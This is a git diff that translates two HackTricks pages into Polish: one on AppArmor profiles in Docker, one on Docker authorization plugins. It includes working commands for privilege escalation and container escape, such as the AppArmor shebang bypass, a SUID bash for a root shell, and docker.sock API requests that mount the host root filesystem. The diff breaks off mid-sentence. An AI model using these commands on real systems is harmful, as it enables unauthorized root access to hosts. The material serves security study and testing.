changed aa-mergeprof #used to merge the policies ``` +## Tworzenie profilu -## Creating a profile - -- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -- To indicate the access the binary will have over **files** the following **access controls** can be used: - - **r** (read) - - **w** (write) - - **m** (memory map as executable) - - **k** (file locking) - - **l** (creation hard links) - - **ix** (to execute another program with the new program inheriting policy) - - **Px** (execute under another profile, after cleaning the environment) - - **Cx** (execute under a child profile, after cleaning the environment) - - **Ux** (execute unconfined, after cleaning the environment) -- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) -- **Deny rules are supported to override allow rules**. +- Aby wskazać dotknięty plik wykonywalny, **dozwolone są ścieżki bezwzględne i znaki wieloznaczne** do określania plików. +- Aby wskazać dostęp, jaki binarny plik będzie miał do **plików**, można użyć następujących **kontroli dostępu**: +- **r** (odczyt) +- **w** (zapis) +- **m** (mapowanie pamięci jako wykonywalne) +- **k** (blokowanie plików) +- **l** (tworzenie twardych linków) +- **ix** (wykonanie innego programu z nowym programem dziedziczącym politykę) +- **Px** (wykonanie pod innym profilem, po oczyszczeniu środowiska) +- **Cx** (wykonanie pod profilem potomnym, po oczyszczeniu środowiska) +- **Ux** (wykonanie bez ograniczeń, po oczyszczeniu środowiska) +- **Zmienne** mogą być definiowane w profilach i mogą być manipulowane z zewnątrz profilu. Na przykład: @{PROC} i @{HOME} (dodaj #include \ do pliku profilu) +- **Reguły odmowy są obsługiwane, aby nadpisać reguły zezwolenia**. ### aa-genprof -To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ -You just need to run: - +Aby łatwo rozpocząć tworzenie profilu, apparmor może Ci pomóc. Możliwe jest **sprawdzenie przez apparmor działań wykonywanych przez binarny plik, a następnie pozwolenie na decyzję, które działania chcesz zezwolić lub odmówić**.\ +Musisz tylko uruchomić: ```bash sudo aa-genprof /path/to/binary ``` - -Then, in a different console perform all the actions that the binary will usually perform: - +Następnie, w innej konsoli wykonaj wszystkie działania, które binarny zazwyczaj wykonuje: ```bash /path/to/binary -a dosomething ``` - -Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ +Następnie, w pierwszej konsoli naciśnij "**s**", a następnie w zarejestrowanych akcjach wskaż, czy chcesz zignorować, zezwolić, czy cokolwiek innego. Gdy skończysz, naciśnij "**f**", a nowy profil zostanie utworzony w _/etc/apparmor.d/path.to.binary_ > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever +> Używając klawiszy strzałek, możesz wybrać, co chcesz zezwolić/odmówić/cokolwiek ### aa-easyprof -You can also create a template of an apparmor profile of a binary with: - +Możesz również utworzyć szablon profilu apparmor dla binarnego pliku za pomocą: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary # No template variables specified "/path/to/binary" { - #include +#include - # No abstractions specified +# No abstractions specified - # No policy groups specified +# No policy groups specified - # No read paths specified +# No read paths specified - # No write paths specified +# No write paths specified } ``` - > [!NOTE] -> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. - -You can then **enforce** the new profile with +> Zauważ, że domyślnie w utworzonym profilu nic nie jest dozwolone, więc wszystko jest zabronione. Będziesz musiał dodać linie takie jak `/etc/passwd r,` aby zezwolić na odczyt binarny `/etc/passwd`, na przykład. +Możesz następnie **wymusić** nowy profil za pomocą ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` +### Modyfikowanie profilu z logów -### Modifying a profile from logs - -The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: - +Narzędzie to odczyta logi i zapyta użytkownika, czy chce zezwolić na niektóre z wykrytych zabronionych działań: ```bash sudo aa-logprof ``` - > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever - -### Managing a Profile +> Używając klawiszy strzałek, możesz wybrać, co chcesz zezwolić/odmówić/cokolwiek +### Zarządzanie profilem ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` - ## Logs -Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: - +Przykład logów **AUDIT** i **DENIED** z _/var/log/audit/audit.log_ dla wykonywalnego **`service_bin`**: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` - -You can also get this information using: - +Możesz również uzyskać te informacje za pomocą: ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` +## Apparmor w Dockerze -## Apparmor in Docker - -Note how the profile **docker-profile** of docker is loaded by default: - +Zauważ, jak profil **docker-profile** Dockera jest ładowany domyślnie: ```bash sudo aa-status apparmor module is loaded. 50 profiles are loaded. 13 profiles are in enforce mode. - /sbin/dhclient - /usr/bin/lxc-start - /usr/lib/NetworkManager/nm-dhcp-client.action - /usr/lib/NetworkManager/nm-dhcp-helper - /usr/lib/chromium-browser/chromium-browser//browser_java - /usr/lib/chromium-browser/chromium-browser//browser_openjdk - /usr/lib/chromium-browser/chromium-browser//sanitized_helper - /usr/lib/connman/scripts/dhclient-script - docker-default +/sbin/dhclient +/usr/bin/lxc-start +/usr/lib/NetworkManager/nm-dhcp-client.action +/usr/lib/NetworkManager/nm-dhcp-helper +/usr/lib/chromium-browser/chromium-browser//browser_java +/usr/lib/chromium-browser/chromium-browser//browser_openjdk +/usr/lib/chromium-browser/chromium-browser//sanitized_helper +/usr/lib/connman/scripts/dhclient-script +docker-default ``` +Domyślnie **profil docker-default Apparmor** jest generowany z [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +**Podsumowanie profilu docker-default**: -**docker-default profile Summary**: - -- **Access** to all **networking** -- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) -- **Writing** to any **/proc** file is **not allowed** -- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access -- **Mount** is **not allowed** -- **Ptrace** can only be run on a process that is confined by **same apparmor profile** - -Once you **run a docker container** you should see the following output: +- **Dostęp** do całej **sieci** +- **Brak możliwości** jest zdefiniowany (Jednakże, niektóre możliwości będą pochodzić z włączenia podstawowych reguł bazowych tzn. #include \) +- **Pisanie** do jakiegokolwiek pliku **/proc** jest **niedozwolone** +- Inne **podkatalogi**/**pliki** w /**proc** i /**sys** mają **zabroniony** dostęp do odczytu/zapisu/blokady/linkowania/wykonywania +- **Montowanie** jest **niedozwolone** +- **Ptrace** może być uruchamiane tylko na procesie, który jest ograniczony przez **ten sam profil apparmor** +Gdy **uruchomisz kontener docker**, powinieneś zobaczyć następujący wynik: ```bash 1 processes are in enforce mode. - docker-default (825) +docker-default (825) ``` - -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access: - +Zauważ, że **apparmor nawet zablokuje przywileje możliwości** przyznane kontenerowi domyślnie. Na przykład, będzie w stanie **zablokować uprawnienia do zapisu w /proc, nawet jeśli przyznana jest możliwość SYS_ADMIN**, ponieważ domyślny profil apparmor dla dockera odmawia tego dostępu: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` - -You need to **disable apparmor** to bypass its restrictions: - +Musisz **wyłączyć apparmor**, aby obejść jego ograniczenia: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` +Zauważ, że domyślnie **AppArmor** również **zabrania kontenerowi montowania** folderów od wewnątrz, nawet z uprawnieniem SYS_ADMIN. -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. +Zauważ, że możesz **dodać/usunąć** **uprawnienia** do kontenera docker (będzie to nadal ograniczone przez metody ochrony takie jak **AppArmor** i **Seccomp**): -Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - -- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap -- `--cap-add=ALL` give all caps -- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` +- `--cap-add=SYS_ADMIN` nadaje uprawnienie `SYS_ADMIN` +- `--cap-add=ALL` nadaje wszystkie uprawnienia +- `--cap-drop=ALL --cap-add=SYS_PTRACE` usuwa wszystkie uprawnienia i nadaje tylko `SYS_PTRACE` > [!NOTE] -> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +> Zwykle, gdy **znajdziesz**, że masz **uprzywilejowane uprawnienie** dostępne **wewnątrz** kontenera **docker**, **ale** jakaś część **eksploatu nie działa**, to będzie dlatego, że docker **apparmor to uniemożliwia**. -### Example +### Przykład -(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) - -To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added: +(Przykład z [**tutaj**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) +Aby zilustrować funkcjonalność AppArmor, stworzyłem nowy profil Docker "mydocker" z dodaną następującą linią: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` - -To activate the profile, we need to do the following: - +Aby aktywować profil, musimy wykonać następujące kroki: ``` sudo apparmor_parser -r -W mydocker ``` - -To list the profiles, we can do the following command. The command below is listing my new AppArmor profile. - +Aby wyświetlić profile, możemy użyć następującego polecenia. Poniższe polecenie wyświetla mój nowy profil AppArmor. ``` $ sudo apparmor_status | grep mydocker - mydocker +mydocker ``` - -As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”. - +Jak pokazano poniżej, otrzymujemy błąd podczas próby zmiany „/etc/”, ponieważ profil AppArmor uniemożliwia dostęp do zapisu w „/etc”. ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` - ### AppArmor Docker Bypass1 -You can find which **apparmor profile is running a container** using: - +Możesz znaleźć, który **profil apparmor uruchamia kontener** używając: ```bash docker inspect 9d622d73a614 | grep lowpriv - "AppArmorProfile": "lowpriv", - "apparmor=lowpriv" +"AppArmorProfile": "lowpriv", +"apparmor=lowpriv" ``` - -Then, you can run the following line to **find the exact profile being used**: - +Następnie możesz uruchomić następującą linię, aby **znaleźć dokładny profil używany**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` - -In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. +W dziwnym przypadku możesz **zmodyfikować profil docker apparmor i go przeładować.** Możesz usunąć ograniczenia i "obejść" je. ### AppArmor Docker Bypass2 -**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. +**AppArmor jest oparty na ścieżkach**, co oznacza, że nawet jeśli może **chronić** pliki w katalogu takim jak **`/proc`**, jeśli możesz **skonfigurować, jak kontener ma być uruchomiony**, możesz **zamontować** katalog proc hosta wewnątrz **`/host/proc`** i **nie będzie on już chroniony przez AppArmor**. ### AppArmor Shebang Bypass -In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: - +W [**tym błędzie**](https://bugs.launchpad.net/apparmor/+bug/1911431) możesz zobaczyć przykład, jak **nawet jeśli zapobiegasz uruchamianiu perla z określonymi zasobami**, jeśli po prostu stworzysz skrypt powłoki **określając** w pierwszej linii **`#!/usr/bin/perl`** i **wykonasz plik bezpośrednio**, będziesz mógł wykonać cokolwiek chcesz. Np.: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 3cef5bc8e..91c164b7f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,75 +1,70 @@ {{#include ../../../banners/hacktricks-training.md}} -**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. +**Model** **autoryzacji** **Docker** jest **wszystko albo nic**. Każdy użytkownik z uprawnieniami do uzyskania dostępu do demona Docker może **wykonać dowolne** polecenie klienta Docker. To samo dotyczy wywołań korzystających z API silnika Docker do kontaktu z demonem. Jeśli potrzebujesz **większej kontroli dostępu**, możesz stworzyć **wtyczki autoryzacji** i dodać je do konfiguracji demona Docker. Korzystając z wtyczki autoryzacji, administrator Docker może **konfigurować szczegółowe polityki dostępu** do zarządzania dostępem do demona Docker. -# Basic architecture +# Podstawowa architektura -Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. +Wtyczki autoryzacji Docker to **zewnętrzne** **wtyczki**, które możesz wykorzystać do **zezwalania/odmawiania** **działań** żądanych przez demon Docker **w zależności** od **użytkownika**, który je żądał, oraz **żądanej** **akcji**. -**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** +**[Poniższe informacje pochodzą z dokumentacji](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. +Gdy **żądanie HTTP** jest wysyłane do demona Docker przez CLI lub za pośrednictwem API silnika, **podsystem** **uwierzytelniania** **przekazuje** żądanie do zainstalowanej **wtyczki uwierzytelniania**. Żądanie zawiera użytkownika (wywołującego) i kontekst polecenia. **Wtyczka** jest odpowiedzialna za podjęcie decyzji, czy **zezwolić** czy **odmówić** żądanie. -The sequence diagrams below depict an allow and deny authorization flow: +Poniższe diagramy sekwencyjne przedstawiają przepływ autoryzacji zezwalającej i odmawiającej: -![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) +![Przepływ zezwolenia na autoryzację](https://docs.docker.com/engine/extend/images/authz_allow.png) -![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) +![Przepływ odmowy autoryzacji](https://docs.docker.com/engine/extend/images/authz_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. +Każde żądanie wysyłane do wtyczki **zawiera uwierzytelnionego użytkownika, nagłówki HTTP oraz ciało żądania/odpowiedzi**. Tylko **nazwa użytkownika** i **metoda uwierzytelniania** są przekazywane do wtyczki. Co najważniejsze, **żadne** dane **uwierzytelniające** użytkownika ani tokeny nie są przekazywane. Na koniec, **nie wszystkie ciała żądań/odpowiedzi są wysyłane** do wtyczki autoryzacji. Tylko te ciała żądań/odpowiedzi, w których `Content-Type` to `text/*` lub `application/json`, są wysyłane. -For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +Dla poleceń, które mogą potencjalnie przejąć połączenie HTTP (`HTTP Upgrade`), takich jak `exec`, wtyczka autoryzacji jest wywoływana tylko dla początkowych żądań HTTP. Gdy wtyczka zatwierdzi polecenie, autoryzacja nie jest stosowana do reszty przepływu. W szczególności dane strumieniowe nie są przekazywane do wtyczek autoryzacji. Dla poleceń, które zwracają podzieloną odpowiedź HTTP, takich jak `logs` i `events`, tylko żądanie HTTP jest wysyłane do wtyczek autoryzacji. -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +Podczas przetwarzania żądań/odpowiedzi, niektóre przepływy autoryzacji mogą wymagać dodatkowych zapytań do demona Docker. Aby zakończyć takie przepływy, wtyczki mogą wywoływać API demona podobnie jak zwykły użytkownik. Aby umożliwić te dodatkowe zapytania, wtyczka musi zapewnić administratorowi środki do skonfigurowania odpowiednich polityk uwierzytelniania i bezpieczeństwa. -## Several Plugins +## Kilka wtyczek -You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. +Jesteś odpowiedzialny za **rejestrowanie** swojej **wtyczki** jako część **uruchamiania** demona Docker. Możesz zainstalować **wiele wtyczek i połączyć je w łańcuch**. Ten łańcuch może być uporządkowany. Każde żądanie do demona przechodzi w kolejności przez łańcuch. Tylko gdy **wszystkie wtyczki przyznają dostęp** do zasobu, dostęp jest przyznawany. -# Plugin Examples +# Przykłady wtyczek ## Twistlock AuthZ Broker -The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. +Wtyczka [**authz**](https://github.com/twistlock/authz) pozwala na stworzenie prostego pliku **JSON**, który **wtyczka** będzie **czytać**, aby autoryzować żądania. Dzięki temu masz możliwość bardzo łatwego kontrolowania, które punkty końcowe API mogą osiągnąć każdego użytkownika. -This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` +To jest przykład, który pozwoli Alicji i Bobowi na tworzenie nowych kontenerów: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` -In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action +Na stronie [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) możesz znaleźć relację między żądanym URL a akcją. Na stronie [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) możesz znaleźć relację między nazwą akcji a akcją. -## Simple Plugin Tutorial +## Prosty samouczek dotyczący wtyczek -You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) +Możesz znaleźć **łatwą do zrozumienia wtyczkę** z szczegółowymi informacjami na temat instalacji i debugowania tutaj: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) -Read the `README` and the `plugin.go` code to understand how is it working. +Przeczytaj `README` i kod `plugin.go`, aby zrozumieć, jak to działa. -# Docker Auth Plugin Bypass +# Ominięcie wtyczki autoryzacji Docker -## Enumerate access +## Wyliczanie dostępu -The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. +Główne rzeczy do sprawdzenia to **które punkty końcowe są dozwolone** i **które wartości HostConfig są dozwolone**. -To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** +Aby przeprowadzić tę enumerację, możesz **użyć narzędzia** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** -## disallowed `run --privileged` - -### Minimum Privileges +## niedozwolone `run --privileged` +### Minimalne uprawnienia ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` +### Uruchamianie kontenera, a następnie uzyskiwanie sesji z uprawnieniami -### Running a container and then getting a privileged session - -In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: - +W tym przypadku administrator systemu **zabronił użytkownikom montowania wolumenów i uruchamiania kontenerów z flagą `--privileged`** lub nadawania jakichkolwiek dodatkowych uprawnień kontenerowi: ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` - -However, a user can **create a shell inside the running container and give it the extra privileges**: - +Jednak użytkownik może **utworzyć powłokę wewnątrz działającego kontenera i nadać jej dodatkowe uprawnienia**: ```bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de @@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` +Teraz użytkownik może uciec z kontenera, używając dowolnej z [**wcześniej omówionych technik**](./#privileged-flag) i **eskalować uprawnienia** wewnątrz hosta. -Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. - -## Mount Writable Folder - -In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: +## Montowanie zapisywalnego folderu +W tym przypadku administrator systemu **zabronił użytkownikom uruchamiania kontenerów z flagą `--privileged`** lub nadawania jakiejkolwiek dodatkowej zdolności kontenerowi, a jedynie zezwolił na montowanie folderu `/tmp`: ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell docker container> chown root:root /host/bash docker container> chmod u+s /host/bash host> /tmp/bash - -p #This will give you a shell as root +-p #This will give you a shell as root ``` - > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> Zauważ, że być może nie możesz zamontować folderu `/tmp`, ale możesz zamontować **inny zapisywalny folder**. Możesz znaleźć zapisywalne katalogi używając: `find / -writable -type d 2>/dev/null` > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **Zauważ, że nie wszystkie katalogi w maszynie linux wspierają bit suid!** Aby sprawdzić, które katalogi wspierają bit suid, uruchom `mount | grep -v "nosuid"` Na przykład zazwyczaj `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` i `/var/lib/lxcfs` nie wspierają bitu suid. > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> Zauważ również, że jeśli możesz **zamontować `/etc`** lub jakikolwiek inny folder **zawierający pliki konfiguracyjne**, możesz je zmienić z kontenera docker jako root, aby **nadużyć ich na hoście** i eskalować uprawnienia (może modyfikując `/etc/shadow`) -## Unchecked API Endpoint +## Niezweryfikowany punkt końcowy API -The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** +Odpowiedzialnością administratora systemu konfigurowania tej wtyczki byłoby kontrolowanie, które akcje i z jakimi uprawnieniami każdy użytkownik może wykonywać. Dlatego, jeśli administrator przyjmie podejście **czarnej listy** z punktami końcowymi i atrybutami, może **zapomnieć o niektórych z nich**, które mogłyby pozwolić atakującemu na **eskalację uprawnień.** -You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) +Możesz sprawdzić API dockera w [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) -## Unchecked JSON Structure +## Niezweryfikowana struktura JSON -### Binds in root - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ -In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: +### Binds w root +Możliwe, że gdy administrator systemu konfigurował zaporę docker, **zapomniał o niektórym ważnym parametrze** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) takim jak "**Binds**".\ +W poniższym przykładzie możliwe jest nadużycie tej błędnej konfiguracji, aby utworzyć i uruchomić kontener, który montuje folder root (/) hosta: ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` - > [!WARNING] -> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +> Zauważ, że w tym przykładzie używamy parametru **`Binds`** jako klucza na poziomie root w JSON, ale w API pojawia się on pod kluczem **`HostConfig`** -### Binds in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: +### Binds w HostConfig +Postępuj zgodnie z tymi samymi instrukcjami co w **Binds w root**, wykonując to **żądanie** do API Dockera: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` - ### Mounts in root -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +Postępuj zgodnie z tymi samymi instrukcjami co w przypadku **Binds in root**, wykonując to **request** do API Dockera: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` +### Mounts w HostConfig -### Mounts in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +Postępuj zgodnie z tymi samymi instrukcjami co w **Binds w root**, wykonując to **żądanie** do API Dockera: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` +## Niezweryfikowany atrybut JSON -## Unchecked JSON Attribute - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: - +Możliwe, że gdy administrator systemu konfigurował zaporę docker, **zapomniał o niektórym ważnym atrybucie parametru** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) takim jak "**Capabilities**" w "**HostConfig**". W poniższym przykładzie można wykorzystać tę niewłaściwą konfigurację do stworzenia i uruchomienia kontenera z uprawnieniem **SYS_MODULE**: ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` - > [!NOTE] -> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. +> **`HostConfig`** jest kluczem, który zazwyczaj zawiera **interesujące** **uprawnienia** do ucieczki z kontenera. Jednak, jak wcześniej omówiliśmy, zauważ, że użycie Binds poza nim również działa i może pozwolić na ominięcie ograniczeń. -## Disabling Plugin - -If 